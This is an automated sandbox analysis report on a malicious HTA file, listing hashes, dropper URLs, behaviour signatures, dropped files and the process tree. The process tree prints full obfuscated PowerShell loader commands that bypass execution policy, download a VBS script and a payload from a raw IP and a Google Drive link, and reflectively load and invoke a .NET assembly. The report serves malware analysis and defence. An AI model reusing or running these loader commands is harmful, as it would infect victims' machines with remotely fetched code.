Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    29-10-2024 12:45

General

  • Target

    seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta

  • Size

    131KB

  • MD5

    196fb761aa0f295e150b75bd8ad638b4

  • SHA1

    c209ef825b7f80e43f3c904efbc2df582117eeb0

  • SHA256

    86f7ef2ea14259c52d1fe1627978ef45a94fc4234c7328a1492da55a400703d6

  • SHA512

    38b7eaff75c6d2cc3b5da4ebb6c345247d35d44b29804c67227404942075db9abf6466716122be3cc4bcb7c8188e0aa3c3b69d9459fd1cff8f5177eaae028b85

  • SSDEEP

    96:4vCt7evwlevO+D4xMUrwKtkTt0cZPeIvdDveRAz5hg3vBQ:4vCFUWUiXwK2TpSbBQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\SysWOW64\WinDOWSpoWErSheLl\v1.0\poWERSHELl.eXE
      "C:\Windows\systEm32\WinDOWSpoWErSheLl\v1.0\poWERSHELl.eXE" "PoWeRSheLL -EX bYPAsS -nOp -W 1 -c DeVIcECRedenTiAlDEploymeNT.eXe ; iex($(Iex('[SYsTeM.TeXt.ENCODinG]'+[chAR]58+[chAR]58+'UTF8.geTStRING([SysteM.CONVERT]'+[CHAR]0x3a+[cHAr]0X3A+'fRomBaSe64STring('+[ChAr]34+'JEREICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlckRlZkluaXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGR0Vkh5Zm5wRUcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVnZ3cXksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvSVVxaVgsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdm0pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJMZkJpeHBhTVFhSiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbVVUTURZQ2tkICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRERDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTU1LzQyMy9waWN0dXJld2l0aGdyZWF0bmV3c3dpdGhnb29kdGhpbmdzdG9oYXBwZW5lZC50SUYiLCIkRW52OkFQUERBVEFccGljdHVyZXdpdGhncmVhdG5ld3N3aXRoZ29vZHRoaW5nc3RvaGFwcC52YlMiLDAsMCk7c1RhUlQtc2xFZVAoMyk7U1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHBpY3R1cmV3aXRoZ3JlYXRuZXdzd2l0aGdvb2R0aGluZ3N0b2hhcHAudmJTIg=='+[CHAr]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1488
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPAsS -nOp -W 1 -c DeVIcECRedenTiAlDEploymeNT.eXe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2324
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f-6xhtop.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2960
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES143D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC143C.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2432
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithgreatnewswithgoodthingstohapp.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1684
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnR1ZDaW1hZ2VVcmwnKycgPSBTcHJodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd24nKydsbycrJ2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciBTcHI7R1ZDd2ViQ2xpJysnZW4nKyd0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtHVkNpbWFnZUJ5dGVzID0nKycgR1ZDd2ViQ2xpZW50LkRvd24nKydsb2FkJysnRGF0YScrJyhHVkNpbWFnZVVybCknKyc7R1ZDaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoR1ZDaW1hZycrJ2VCeXRlcyk7R1YnKydDc3RhcnRGbGFnID0gU3ByPDxCQVNFNjRfU1RBUlQ+PlNwcjtHVkNlbmRGbGFnID0gU3ByPCcrJzxCQVNFNjRfRU5EPj5TcHI7R1ZDc3RhcnRJbmRleCA9IEdWQ2ltYWdlVGV4dC5JbicrJ2RleE9mKEdWQ3N0YXJ0RmxhZyk7R1ZDZW5kSW5kZXggPSBHVkNpJysnbWFnZVRleHQuSW5kZXhPZihHVkNlbmRGbGFnKTtHVkNzdGFydEluZGUnKyd4IC1nZSAwIC1hbmQgR1ZDZScrJ25kSW5kZXggLWd0IEdWQ3MnKyd0YXJ0SW5kZXg7R1ZDc3RhcnRJbmRleCArPSBHVkNzdGFydEZsYWcuTGVuZ3RoO0dWQ2Jhc2U2NExlbmd0aCA9IEdWQ2VuZEluZGV4IC0gR1ZDc3RhcicrJ3RJbmRleDtHVkNiYXNlNjRDb21tYW5kID0gR1ZDaW1hZ2VUZXh0JysnLlN1YnN0cmluZycrJyhHVkNzdGFydEluZGV4LCBHVkNiYXNlNjRMZW5ndGgpO0dWQ2Jhc2U2NFJldmVyc2VkID0gJysnLWpvaW4gKEdWQ2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBUMHggRm9yRWFjaC1PYmplY3QgeyBHJysnVkNfIH0pWy0xLi4tKEdWQ2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07R1ZDYycrJ29tbWFuZEJ5dGVzID0gW1N5cycrJ3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhcycrJ2U2NFN0cmluZyhHVkNiYXNlNjRSZXZlcnNlZCk7R1ZDbG9hZGVkQXNzZW1ibHkgPSAnKydbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZScrJ21ibHldOjpMb2FkKEdWQ2NvbW1hbmRCeXRlcyk7R1ZDdmFpJysnTWV0aG9kID0gW2RuJysnbGliLklPLkhvbWVdLkdldE1ldGhvZChTcHJWQUlTcHIpO0dWQ3ZhaU1ldGhvZC5JbnZva2UoR1ZDbnVsbCwgQChTcHJ0eHQuU0dPTEtMLzMyNC81NTEuODcxLjY0Ljg5MS8vOnB0dGhTcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwckNhc1BvbFNwciwgUycrJ3ByZGVzYXRpdmFkb1NwciwgU3ByZGUnKydzYXRpJysndmFkb1NwcixTcHJkZXNhdGl2YWRvU3ByLFNwJysncmRlc2F0aScrJ3ZhZG9TcHIsU3ByZGVzYXRpdmFkb1NwcixTcHJkZXNhdGl2YWRvU3ByLFNwcmRlc2F0aXZhZG9TcHIsJysnU3ByMVNwcixTcHJkZXNhdGl2YWRvU3ByKSk7JykgLWNyRVBMQWNFIChbY2hhcl04NCtbY2hhcl00OCtbY2hhcl0xMjApLFtjaGFyXTEyNCAtUkVwbGFjZSAoW2NoYXJdNzErW2NoYXJdODYrW2NoYXJdNjcpLFtjaGFyXTM2ICAtY3JFUExBY0UgKFtjaGFyXTgzK1tjaGFyXTExMitbY2hhcl0xMTQpLFtjaGFyXTM5KSB8IElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1860
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('GVCimageUrl'+' = Sprhttps://drive.google.com/uc?export=down'+'lo'+'ad&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur Spr;GVCwebCli'+'en'+'t = New-Object System.Net.WebClient;GVCimageBytes ='+' GVCwebClient.Down'+'load'+'Data'+'(GVCimageUrl)'+';GVCimageText = [System.Text.Encoding]::UTF8.GetString(GVCimag'+'eBytes);GV'+'CstartFlag = Spr<<BASE64_START>>Spr;GVCendFlag = Spr<'+'<BASE64_END>>Spr;GVCstartIndex = GVCimageText.In'+'dexOf(GVCstartFlag);GVCendIndex = GVCi'+'mageText.IndexOf(GVCendFlag);GVCstartInde'+'x -ge 0 -and GVCe'+'ndIndex -gt GVCs'+'tartIndex;GVCstartIndex += GVCstartFlag.Length;GVCbase64Length = GVCendIndex - GVCstar'+'tIndex;GVCbase64Command = GVCimageText'+'.Substring'+'(GVCstartIndex, GVCbase64Length);GVCbase64Reversed = '+'-join (GVCbase64Command.ToCharArray() T0x ForEach-Object { G'+'VC_ })[-1..-(GVCbase64Command.Length)];GVCc'+'ommandBytes = [Sys'+'t'+'em.Convert]::FromBas'+'e64String(GVCbase64Reversed);GVCloadedAssembly = '+'[System.Reflection.Asse'+'mbly]::Load(GVCcommandBytes);GVCvai'+'Method = [dn'+'lib.IO.Home].GetMethod(SprVAISpr);GVCvaiMethod.Invoke(GVCnull, @(Sprtxt.SGOLKL/324/551.871.64.891//:ptthSpr, SprdesativadoSpr, SprdesativadoSpr, SprdesativadoSpr, SprCasPolSpr, S'+'prdesativadoSpr, Sprde'+'sati'+'vadoSpr,SprdesativadoSpr,Sp'+'rdesati'+'vadoSpr,SprdesativadoSpr,SprdesativadoSpr,SprdesativadoSpr,'+'Spr1Spr,SprdesativadoSpr));') -crEPLAcE ([char]84+[char]48+[char]120),[char]124 -REplace ([char]71+[char]86+[char]67),[char]36 -crEPLAcE ([char]83+[char]112+[char]114),[char]39) | Iex"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2340

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES143D.tmp

    Filesize

    1KB

    MD5

    bd15e0a92e104c1615ca7c57096b1702

    SHA1

    1c7626995347cc8091155b559589b4634d80138d

    SHA256

    161835a82df959e1f0739365e557b60ecbf4846cc1632fe1a37511478b569cb8

    SHA512

    00d185d03e4113f15a9f6af529b298a0a67f46a8a3a185f25dbd0bb93f07a310c0d461f00c1da23ad6f35c65cc1f6d588ce438b6e3d12618534ce2453966cc2c

  • C:\Users\Admin\AppData\Local\Temp\f-6xhtop.dll

    Filesize

    3KB

    MD5

    099687361931b4a409a5bef21d993cc2

    SHA1

    af93c7b42d3016c712d5358b71f0d38b29e661ed

    SHA256

    0c2125082727f892da0e5e174b0ef786389c8b6a03447576fc20b9f40a327de0

    SHA512

    cc412d7dce37bca90a34e45469f75a90d7456fc85d8d5076685c3145e2ca41df82e3cf23c134c780ae754e1218404365ae1a5d7a386c50b8252781dc49ea9385

  • C:\Users\Admin\AppData\Local\Temp\f-6xhtop.pdb

    Filesize

    7KB

    MD5

    35a7249c767a28362085227a7f7747b9

    SHA1

    5d20ab3451d4ff5d0a04c60a5441c8c6f188eaf7

    SHA256

    38629fa79d7cb7ae5e86841e8c930f08d1ebd4a585412437299282c3b0d69b6f

    SHA512

    c1be3c5ded807628d17ce7d7b9d089c261f6562230690c87515bb552d04056e8122f3e8ac6301266a255951ef54bbf17c62c80b61731e925c5638e6823b8615f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    794861db89ac74bcf0c4293dc3769319

    SHA1

    9a3e30a7818bea2008453e30d10f878ac2996c38

    SHA256

    f556536c879f4a07424d8a70a2a18262d0e932062d4c4b524bead4f0acc12d51

    SHA512

    8dc34a04fab5db4c05b296cb6632287377745622b946b1ce2e008024dfa3299152587601fc29984fedb1247b788fb8200e65d5c5393da1254836607ba145df63

  • C:\Users\Admin\AppData\Roaming\picturewithgreatnewswithgoodthingstohapp.vbS

    Filesize

    136KB

    MD5

    e7dde34531d98d4b94175ad3269d5667

    SHA1

    fa9596b284c756bcf9a14dc5ebc2b84607d398ae

    SHA256

    1d85e569b13244ff1ef054cec322a314c9880567b511b6ee817068c0dcd5d38b

    SHA512

    d39505a3951fd19c3809a0640218d39414bfb9efcc0d1c534ee5d9a4d17ddbcf7d3ad40d255a6e8a58d259e7ce61ac9f16e3d55b17d674eadb68997b551b4843

  • \??\PIPE\srvsvc

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC143C.tmp

    Filesize

    652B

    MD5

    53520be813a9fb52170395a036727067

    SHA1

    8ab1f68dbb4880efc39a24722853bddff7c5b3de

    SHA256

    d4f5480137ffc29c36e5bf4ceba2d4d9d6fe443046b4c3fdeafd793ebe9a564d

    SHA512

    8a88ba119077f75e5cf6c80bf96a10071ea8e0bf8518a2f01c6ce6891a24bc993f8f4bcaa744270276107f31f2bfd6edf00e7c663b70e3b44b2b66e35e579149

  • \??\c:\Users\Admin\AppData\Local\Temp\f-6xhtop.0.cs

    Filesize

    462B

    MD5

    c3b2cac94b16f2aa7b62978b69741a03

    SHA1

    24b7bd8cf3a07a364bd91c2581a9a67cb25c8e3e

    SHA256

    a1d1f69141b09c2027c3ecf1b0eeb0b0d2a1ee67ee96436591461acd6f1b9d20

    SHA512

    3f4ab831992c6ffce0b348f105d13bea0ebdabe992d9d4283ba8671069529acb9e8fa8f3ec227aef6ce7f6180309dea4823b82f9cd78f94e5081f3d748fa0cb7

  • \??\c:\Users\Admin\AppData\Local\Temp\f-6xhtop.cmdline

    Filesize

    309B

    MD5

    584f700a6e4d7556e7428b9c06454e1a

    SHA1

    fe9316f84a97583c54e64246bf9b9e1835810c51

    SHA256

    46bb182321978445eb948c21d03eb0fe2c9124d9a3ca614678797bbc51ae4817

    SHA512

    e0beaf950bade46dee14aa0035ea28680fcb3702ad4547dfd8e2b35970a3c69d71af8b638a07f49b040205246f92dfaa2c0150d1d9c79152520f4f92a0164f5d